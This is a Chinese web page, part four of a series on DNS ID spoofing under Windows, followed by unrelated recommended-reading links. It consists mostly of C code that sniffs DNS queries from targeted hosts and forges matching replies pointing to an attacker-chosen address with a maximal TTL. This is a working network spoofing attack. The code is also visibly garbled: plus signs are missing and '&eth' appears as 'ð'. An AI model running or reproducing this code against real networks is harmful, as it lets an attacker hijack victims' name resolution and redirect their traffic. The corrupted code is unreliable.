Windows下DNS ID欺骗的原理与实现( 四 ) _云知道

while（1）
{
if（PacketReceivePacket（lpadapter,lppacketr,TRUE）==FALSE）
{
　break；
}
ulbytesreceived=lppacketr-＞ulBytesReceived；
buf=（char *）lppacketr-＞Buffer；
off=0；
while（off＜ulbytesreceived）
{
hdr=（struct bpf_hdr *）（buf off）；
off =hdr-＞bh_hdrlen；　
pchar=（char *）（buf off）；
off=Packet_WORDALIGN（off hdr-＞bh_caplen）；
ethr=*（ETHDR *）pchar；
if（ethr.eh_type==htons（ETH_IP））
{
ipr=*（IPHDR *）（pchar sizeof（ETHDR））；
if（ipr.protocol!=17）
{
continue；
}
if（（ipr.sourceip!=secondip） && （ipr.sourceip!=firstip））
{
continue；
}
udpr=*（UDPHDR *）（pchar sizeof（ETHDR） sizeof（IPHDR））；
ulen=ntohs（udpr.length）-sizeof（UDPHDR）-sizeof（DNS）-sizeof（QUERY）；
dname=（unsigned char *）malloc（ulen*sizeof（unsigned char））；
if（udpr.destport==htons（53））
{
printf（"Get a DNS Packet...t"）；
memset（sendbuf,0,sizeof（sendbuf））；
memcpy（&dnsr,pchar sizeof（ETHDR） sizeof（IPHDR） sizeof（UDPHDR）,sizeof（DNS））；
memcpy（dname,pchar sizeof（ETHDR） sizeof（IPHDR） sizeof（UDPHDR） sizeof（DNS）,ulen）；
memcpy（&queryr.type,pchar sizeof（ETHDR） sizeof（IPHDR） sizeof（UDPHDR） sizeof（DNS） ulen,2）；
memcpy（&queryr.classes,pchar sizeof（ETHDR） sizeof（IPHDR） sizeof（UDPHDR） sizeof（DNS） ulen 2,2）；
responses.name=htons（0xC00C）；　
responses.type=queryr.type；
responses.classes=queryr.classes；
responses.ttl=0xFFFFFFFF；
responses.length=htons（4）；
responses.addr=virtualip；
querys.classes=queryr.classes；
querys.type=queryr.type；
dnss.id=dnsr.id；
dnss.flags=htons（0x8180）；　
dnss.quests=htons（1）；
dnss.answers=htons（1）；
dnss.author=0；
dnss.addition=0；
udps.souceport=udpr.destport；
udps.destport=udpr.souceport；
udps.length=htons（sizeof（UDPHDR） sizeof（DNS） ulen sizeof（QUERY） sizeof（RESPONSE））；
udps.checksum=0；　
ips.h_lenver=（4＜＜4sizeof（IPHDR）/sizeof（unsigned int））；
ips.tos=0；
ips.total_len=ntohs（sizeof（IPHDR） sizeof（UDPHDR） sizeof（DNS） ulen sizeof（QUERY） sizeof（RESPONSE））；
ips.ident=htons（12345）；
ips.frag_and_flags=0；
ips.ttl=255；
ips.protocol=IPPROTO_UDP；
ips.checksum=0；
ips.sourceip=ipr.destip；
ips.destip=ipr.sourceip；

psds.saddr=ips.sourceip；
psds.daddr=ips.destip；
psds.mbz=0；
psds.ptcl=IPPROTO_UDP；
psds.udpl=htons（sizeof（UDPHDR） sizeof（DNS） ulen sizeof（QUERY） sizeof（RESPONSE））；
memset（temp,0,sizeof（temp））；
memcpy（temp,&psds,sizeof（PSD））；
memcpy（temp sizeof（PSD）,&udps,sizeof（UDPHDR））；
memcpy（temp sizeof（PSD） sizeof（UDPHDR）,&dnss,sizeof（DNS））；
memcpy（temp sizeof（PSD） sizeof（UDPHDR） sizeof（DNS）,dname,ulen）；
memcpy（temp sizeof（PSD） sizeof（UDPHDR） sizeof（DNS） ulen,&querys,sizeof（QUERY））；
memcpy（temp sizeof（PSD） sizeof（UDPHDR） sizeof（DNS） ulen sizeof（QUERY）,&responses,sizeof（RESPONSE））；
udps.checksum=checksum（（USHORT *）temp,sizeof（PSD） sizeof（UDPHDR） sizeof（DNS） ulen sizeof（QUERY） sizeof（RESPONSE））；
memset（temp,0,sizeof（temp））；
memcpy（temp,&ips,sizeof（IPHDR））；
ips.checksum=checksum（（USHORT *）temp,sizeof（IPHDR））；
eths.eh_type=ethr.eh_type；
memcpy（ðs.eh_src,ðr.eh_dst,6）；
memcpy（ðs.eh_dst,ðr.eh_src,6）；

Windows下DNS ID欺骗的原理与实现( 四 )

推荐阅读

太阳镜尺寸怎么测量

qq女生名有什么 qq女生名推荐

野山坡属于那个地区

家长给孩子试卷写评语

iqooneo5活力版电池容量

带玉项链有什么好处

什么食物可以消除脂肪

王者荣耀怎么三指操作

什么是小节和自然段

支付宝更新后打不开怎么办支付宝更新不了怎么办

哄女生开心的精品笑话逗女生开心的笑话

新日电动车价格及图片,小刀这2款电动车

武陟孔雀城在哪里,孔雀城落户郑州

沈阳浑南区挨着哪个区,抚顺和沈阳哪个区挨着

锡箔纸可以放微波炉吗

叉烧和火腿月饼的区别火腿叉烧月饼料怎么做